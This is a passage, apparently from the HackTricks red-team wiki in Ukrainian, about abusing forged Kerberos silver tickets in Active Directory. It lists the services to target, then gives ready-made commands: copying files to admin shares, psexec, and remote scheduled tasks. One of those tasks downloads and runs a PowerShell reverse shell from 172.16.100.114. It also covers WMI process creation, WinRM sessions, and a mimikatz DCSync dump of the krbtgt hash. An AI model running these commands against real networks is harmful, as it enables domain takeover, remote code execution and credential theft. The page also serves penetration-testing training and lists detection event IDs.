[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: 
[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HOST
RPCSS
| | PowerShell Remoting |HOST
HTTP
В залежності від ОС також:
WSMAN
RPCSS
| | WinRM |HOST
HTTP
В деяких випадках ви можете просто запитати: WINRM
| | Заплановані завдання | HOST | | Спільний доступ до файлів Windows, також psexec | CIFS | | Операції LDAP, включаючи DCSync | LDAP | | Інструменти адміністрування віддалених серверів Windows |RPCSS
LDAP
CIFS
| | Золоті квитки | krbtgt | Використовуючи **Rubeus**, ви можете **запитати всі** ці квитки, використовуючи параметр: * `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` ### Ідентифікатори подій срібних квитків * 4624: Увійшов до облікового запису * 4634: Вийшов з облікового запису * 4672: Увійшов адміністратор ## Зловживання сервісними квитками У наступних прикладах уявімо, що квиток отримано, підробляючи обліковий запис адміністратора. ### CIFS З цим квитком ви зможете отримати доступ до папок `C$` і `ADMIN$` через **SMB** (якщо вони відкриті) і копіювати файли в частину віддаленої файлової системи, просто зробивши щось на зразок: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` Ви також зможете отримати оболонку всередині хоста або виконати довільні команди, використовуючи **psexec**: {% content-ref url="../lateral-movement/psexec-and-winexec.md" %} [psexec-and-winexec.md](../lateral-movement/psexec-and-winexec.md) {% endcontent-ref %} ### HOST З цією дозволом ви можете створювати заплановані завдання на віддалених комп'ютерах і виконувати довільні команди: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc #Create scheduled task, first for exe execution, second for powershell reverse shell download schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe" schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'" #Check it was successfully created schtasks /query /S some.vuln.pc #Run created schtask now schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS З цими квитками ви можете **виконати WMI в системі жертви**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local #Execute code Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand" #You can also use wmic wmic remote.computer.local list full /format:list ``` Знайдіть **додаткову інформацію про wmiexec** на наступній сторінці: {% content-ref url="../lateral-movement/wmiexec.md" %} [wmiexec.md](../lateral-movement/wmiexec.md) {% endcontent-ref %} ### HOST + WSMAN (WINRM) З доступом winrm до комп'ютера ви можете **отримати доступ** до нього і навіть отримати PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` Перевірте наступну сторінку, щоб дізнатися **більше способів підключення до віддаленого хоста за допомогою winrm**: {% content-ref url="../lateral-movement/winrm.md" %} [winrm.md](../lateral-movement/winrm.md) {% endcontent-ref %} {% hint style="warning" %} Зверніть увагу, що **winrm має бути активним і слухати** на віддаленому комп'ютері для доступу до нього. {% endhint %} ### LDAP З цією привілеєю ви можете скинути базу даних DC, використовуючи **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` **Дізнайтеся більше про DCSync** на наступній сторінці: ## Посилання * [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) {% content-ref url="dcsync.md" %} [dcsync.md](dcsync.md) {% endcontent-ref %}[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Дізнайтеся та практикуйте Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)